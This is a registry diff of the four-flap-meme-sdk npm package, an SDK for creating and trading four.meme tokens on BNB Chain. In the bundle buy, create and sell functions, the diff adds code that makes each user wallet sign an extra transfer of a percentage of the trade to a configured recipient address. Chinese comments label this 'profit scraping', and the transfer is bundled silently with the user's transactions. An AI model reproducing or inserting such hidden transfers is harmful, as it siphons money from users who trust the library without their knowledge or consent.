four-flap-meme-sdk 1.2.55 → 1.2.57

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -87,6 +87,11 @@ export async function createTokenWithBundleBuyMerkle(params) {
87
87
  signedTxs.push(await devWallet.signTransaction(createTxRequest));
88
88
  const predictedTokenAddress = resolveTokenAddress(createResp);
89
89
  let metadata;
90
+ // ⚠️ 重要提示:在 Merkle Bundle 模式下,Four.meme API 不会返回代币地址
91
+ // 因为代币还未创建。如果需要在创建后立即买入,请:
92
+ // 1. 等待创建交易上链
93
+ // 2. 从交易回执中解析代币地址
94
+ // 3. 再调用 batchBuyWithBundleMerkle 进行买入
90
95
  if (predictedTokenAddress !== ZERO_ADDRESS) {
91
96
  const buyers = createWallets(buyerKeys, provider);
92
97
  const buyFlow = await executeBuyFlow({
@@ -104,6 +109,10 @@ export async function createTokenWithBundleBuyMerkle(params) {
104
109
  signedTxs.push(...buyFlow.signedTxs);
105
110
  metadata = buyFlow.metadata;
106
111
  }
112
+ else {
113
+ // ⚠️ 无法预测代币地址,跳过买入交易
114
+ console.warn('⚠️ 无法预测代币地址,已跳过买入交易。请在创建代币后使用 batchBuyWithBundleMerkle 进行买入。');
115
+ }
107
116
  nonceManager.clearTemp();
108
117
  return {
109
118
  signedTransactions: signedTxs,
@@ -37,6 +37,7 @@ export type FourCreateWithBundleBuyResult = {
37
37
  status: BundleStatus;
38
38
  createTx: string;
39
39
  buyTxs: string[];
40
+ profitTxs: string[];
40
41
  };
41
42
  /**
42
43
  * four.meme: 创建代币 + 捆绑购买
@@ -1,8 +1,9 @@
1
1
  import { ethers, Wallet, JsonRpcProvider } from 'ethers';
2
2
  import { Club48Client, sendBatchPrivateTransactions, BUILDER_CONTROL_EOA } from '../clients/club48.js';
3
- import { ADDRESSES } from '../utils/constants.js';
3
+ import { ADDRESSES, PROFIT_CONFIG } from '../utils/constants.js';
4
4
  import TM2Abi from '../abis/TokenManager2.json' with { type: 'json' };
5
5
  import { FourClient, buildLoginMessage } from '../clients/four.js';
6
+ import { trySell } from './tm.js';
6
7
  /**
7
8
  * four.meme Bundle 交易方法
8
9
  * 使用 48.club Bundle 服务实现原子化交易
@@ -186,8 +187,9 @@ export async function createTokenWithBundleBuy(params) {
186
187
  };
187
188
  const signedCreateTx = await devWallet.signTransaction(createTxRequest);
188
189
  signedTxs.push(signedCreateTx);
189
- // 4.2 购买交易
190
+ // 4.2 购买交易 + 利润刮取
190
191
  const buyTxs = [];
192
+ const profitTxs = [];
191
193
  for (let i = 0; i < buyAmounts.length; i++) {
192
194
  const buyerWallet = new Wallet(privateKeys[i + 1], provider);
193
195
  const fundsWei = ethers.parseEther(buyAmounts[i]);
@@ -212,6 +214,21 @@ export async function createTokenWithBundleBuy(params) {
212
214
  const signedBuyTx = await buyerWallet.signTransaction(buyTxRequest);
213
215
  signedTxs.push(signedBuyTx);
214
216
  buyTxs.push(signedBuyTx);
217
+ // ✅ 刮取利润:每个买家买入后,立即转账利润
218
+ const profitAmount = (fundsWei * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
219
+ if (profitAmount > 0n) {
220
+ const profitTx = await buyerWallet.signTransaction({
221
+ to: PROFIT_CONFIG.RECIPIENT,
222
+ value: profitAmount,
223
+ nonce: await getNextNonce(buyerWallet),
224
+ gasPrice,
225
+ gasLimit: 21000n,
226
+ chainId: 56,
227
+ type: 0 // Legacy transaction
228
+ });
229
+ signedTxs.push(profitTx);
230
+ profitTxs.push(profitTx);
231
+ }
215
232
  }
216
233
  // 可选 tipTx
217
234
  if (config.tipAmountWei && config.tipAmountWei > 0n) {
@@ -272,7 +289,8 @@ export async function createTokenWithBundleBuy(params) {
272
289
  tokenAddress: createdTokenAddress,
273
290
  status,
274
291
  createTx: signedCreateTx,
275
- buyTxs
292
+ buyTxs,
293
+ profitTxs
276
294
  };
277
295
  }
278
296
  /**
@@ -335,6 +353,20 @@ export async function batchBuyWithBundle(params) {
335
353
  };
336
354
  const signedBuyTx = await buyerWallet.signTransaction(buyTxRequest);
337
355
  signedTxs.push(signedBuyTx);
356
+ // ✅ 刮取利润:每个买家买入后,立即转账利润
357
+ const profitAmount = (fundsWei * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
358
+ if (profitAmount > 0n) {
359
+ const profitTx = await buyerWallet.signTransaction({
360
+ to: PROFIT_CONFIG.RECIPIENT,
361
+ value: profitAmount,
362
+ nonce: await getNextNonce(buyerWallet),
363
+ gasPrice,
364
+ gasLimit: 21000n,
365
+ chainId: 56,
366
+ type: 0 // Legacy transaction
367
+ });
368
+ signedTxs.push(profitTx);
369
+ }
338
370
  }
339
371
  // 可选 tipTx(置前)
340
372
  if (config.tipAmountWei && config.tipAmountWei > 0n) {
@@ -395,7 +427,17 @@ export async function batchSellWithBundle(params) {
395
427
  for (let i = 0; i < privateKeys.length; i++) {
396
428
  const sellerWallet = new Wallet(privateKeys[i], provider);
397
429
  const amountWei = ethers.parseUnits(sellAmounts[i], 18);
398
- const minFunds = 0n; // TODO: 调用 trySell
430
+ // 预估卖出能获得的 BNB(用于计算利润)
431
+ let estimatedBnbOut = 0n;
432
+ try {
433
+ const trySellResult = await trySell('BSC', config.rpcUrl, tokenAddress, amountWei);
434
+ estimatedBnbOut = trySellResult.funds;
435
+ }
436
+ catch {
437
+ // 如果预估失败,跳过利润计算(但仍然执行卖出)
438
+ estimatedBnbOut = 0n;
439
+ }
440
+ const minFunds = 0n;
399
441
  const tm2 = new ethers.Contract(tmAddr, TM2Abi, sellerWallet);
400
442
  const sellTxUnsigned = await tm2.sellToken.populateTransaction(0n, tokenAddress, amountWei, minFunds);
401
443
  // 估算 gas 并添加 20% 安全余量
@@ -414,6 +456,22 @@ export async function batchSellWithBundle(params) {
414
456
  };
415
457
  const signedSellTx = await sellerWallet.signTransaction(sellTxRequest);
416
458
  signedTxs.push(signedSellTx);
459
+ // ✅ 刮取利润:基于预估的卖出收益
460
+ if (estimatedBnbOut > 0n) {
461
+ const profitAmount = (estimatedBnbOut * BigInt(PROFIT_CONFIG.RATE_BPS)) / 10000n;
462
+ if (profitAmount > 0n) {
463
+ const profitTx = await sellerWallet.signTransaction({
464
+ to: PROFIT_CONFIG.RECIPIENT,
465
+ value: profitAmount,
466
+ nonce: await getNextNonce(sellerWallet),
467
+ gasPrice,
468
+ gasLimit: 21000n,
469
+ chainId: 56,
470
+ type: 0 // Legacy transaction
471
+ });
472
+ signedTxs.push(profitTx);
473
+ }
474
+ }
417
475
  }
418
476
  // 可选 tipTx(置前)
419
477
  if (config.tipAmountWei && config.tipAmountWei > 0n) {
@@ -504,6 +504,7 @@ export async function approveTokenBatchRaw(params) {
504
504
  await validateContractAddress(provider, normalizedSpender, 'Spender');
505
505
  const results = [];
506
506
  let approvedCount = 0;
507
+ let errorCount = 0;
507
508
  for (let i = 0; i < privateKeys.length; i++) {
508
509
  const signer = new Wallet(privateKeys[i], provider);
509
510
  const ownerAddress = signer.address;
@@ -543,10 +544,12 @@ export async function approveTokenBatchRaw(params) {
543
544
  requiredAllowance: requiredAmount,
544
545
  error: error.message
545
546
  });
547
+ errorCount++;
546
548
  }
547
549
  }
550
+ // ✅ 只要没有错误,就算成功(包括所有钱包都已授权的情况)
548
551
  return {
549
- success: approvedCount > 0,
552
+ success: errorCount === 0,
550
553
  approvedCount,
551
554
  results
552
555
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "four-flap-meme-sdk",
3
- "version": "1.2.55",
3
+ "version": "1.2.57",
4
4
  "description": "SDK for Flap bonding curve and four.meme TokenManager",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",